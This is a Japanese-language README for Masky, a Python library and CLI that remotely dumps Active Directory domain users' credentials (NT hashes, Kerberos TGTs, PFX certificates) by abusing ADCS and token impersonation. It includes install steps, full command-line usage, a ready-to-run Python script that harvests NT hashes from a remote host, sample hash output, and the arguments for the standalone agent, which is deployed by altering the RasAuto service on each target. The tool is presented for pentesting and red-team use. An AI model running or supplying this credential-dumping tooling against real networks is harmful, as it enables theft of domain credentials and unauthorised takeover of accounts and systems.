
ADCSを介してリモートでドメインユーザー資格情報をダンプし、LSASSプロセスメモリをダンプせずに実行できるCLI付きPythonライブラリ
Masky は、ADCS を利用してドメインユーザーの認証情報をリモートからダンプするための代替手段を提供する Python ライブラリです。このライブラリ上に構築されたコマンドラインツールにより、より広範なスコープで PFX、NT ハッシュ、TGT を簡単に収集できます。
このツールは新たな脆弱性を悪用するものではなく、LSASS プロセスメモリをダンプする方法でもありません。実際には、正当な Windows および Active Directory の機能(トークンの偽装、Kerberos 経由の証明書認証、PKINIT 経由の NT ハッシュ取得)のみを利用しています。実装された技術と Masky の仕組みについては、ブログ記事 で詳しく説明されています。
Masky のソースコードは、素晴らしい Certify および Certipy ツールに大きく基づいています。ADCS に対する攻撃的な悪用技術に関する研究について、それらの作者に深く感謝します(謝辞 参照)。
Masky Python3 ライブラリとそれに関連する CLI は、以下のように公開 PyPi リポジトリから簡単にインストールできます。
pip install masky
Masky エージェントの実行可能ファイルは、PyPi パッケージに既に含まれています。
また、エージェントを変更する必要がある場合、C# コードは agent/Masky.sln にある Visual Studio プロジェクトを介して再コンパイルできます。ビルドには .NET Framework 4 が必要です。
Masky は Python ライブラリとして設計されています。さらに、ペンテストや RedTeam 活動での使用を容易にするために、その上にコマンドラインインターフェースが作成されました。
どちらの使用方法でも、まず ADCS を介して展開された CA サーバー の FQDN とその CA 名 を取得する必要があります。この情報は、certipy find オプションや Microsoft 標準の certutil.exe ツールを使用して簡単に取得できます。対象の CA でデフォルトの User テンプレートが有効になっていることを確認してください。
警告: Masky は、既存の RasAuto サービスを変更して各ターゲットに実行可能ファイルを展開します。初期の ImagePath 値の自動ロールバックにもかかわらず、Masky 実行中に予期しないエラーが発生すると、クリーンアップフェーズがスキップされる可能性があります。したがって、そのような不本意な停止が発生した場合は、元の値を手動でリセットすることを忘れないでください。
以下のデモは、4 台のリモートシステムを対象とした Masky の基本的な使用法を示しています。この実行により、sec.lab テストドメインから 3 人の異なるドメインユーザーの NT ハッシュ、CCACHE、PFX を収集できます。
Masky は、このようなツールで一般的に提供されるオプション(スレッド数、認証モード、ファイルから読み込んだターゲットなど)も提供します。
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]
positional arguments:
targets CIDR、ホスト名、IP 形式のターゲット(ファイルからでも可)
options:
-h, --help このヘルプメッセージを表示して終了
-v, --verbose デバッグメッセージを有効化
-ts, --timestamps 各ログにタイムスタンプを表示
-t THREADS, --threads THREADS
スレッドプールサイズ(最大15)
Authentication:
-d DOMAIN, --domain DOMAIN
認証するドメイン名
-u USER, --user USER 認証するユーザー名
-p PASSWORD, --password PASSWORD
認証するパスワード
-k, --kerberos Kerberos 認証を使用。ターゲットパラメータに基づいて ccache ファイル(KRB5CCNAME)から資格情報を取得。
-H HASHES, --hashes HASHES
認証するハッシュ(LM:NT、:NT または :LM)
Connection:
-dc-ip ip address ドメインコントローラの IP アドレス。省略した場合、ターゲットパラメータで指定されたドメイン部分(FQDN)を使用。
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
証明機関名(SERVER\CA_NAME)
Results:
-nh, --no-hash NT ハッシュを要求しない
-nt, --no-ccache ccache ファイルを保存しない
-np, --no-pfx pfx ファイルを保存しない
-o OUTPUT, --output OUTPUT
Masky の結果を保存するローカルフォルダパス(存在しない場合は自動的に作成)
以下は、Masky ライブラリを使用してリモートターゲットから実行中のドメインユーザーセッションのシークレットを収集する簡単なスクリプトです。
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# 認証パラメータを定義
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# これらの資格情報を使用して Masky インスタンスを作成
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# ターゲットを設定し、Masky を実行
target = "192.168.23.130"
rslts = m.run(target)
# Masky が少なくとも1つのユーザーセッションを正常に乗っ取ったか、
# または予期しないエラーが発生したかを確認
if not rslts:
return False
# MaskyResult オブジェクトをループして、乗っ取ったユーザーを表示し、NT ハッシュを取得
print(f"ホスト名からの結果: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
実行すると、以下のような出力が生成されます。
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Masky が正常に実行された後、User オブジェクトのリストを含む MaskyResults オブジェクトが返されます。
これらの2つのクラスが提供するメソッドと属性については、masky\lib\results.py モジュールを参照してください。
Masky バージョン 0.0.5 以降、スタンドアロンの実行可能エージェントを Python CLI を使用せずに簡単に実行できるようになりました。
引数は次のとおりです。
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
Python CLI と同様に、/ca パラメータは必須です。また、トークンの偽装を回避するために /currentUser 引数が追加されました。これにより、提供されたテンプレート(template)に基づいて、現在のユーザーコンテキストで単純な証明書要求が実行されます。/output および /debug パラメータを使用すると、ファイルが作成されるパスを指定できます。
デフォルト値は次のとおりです。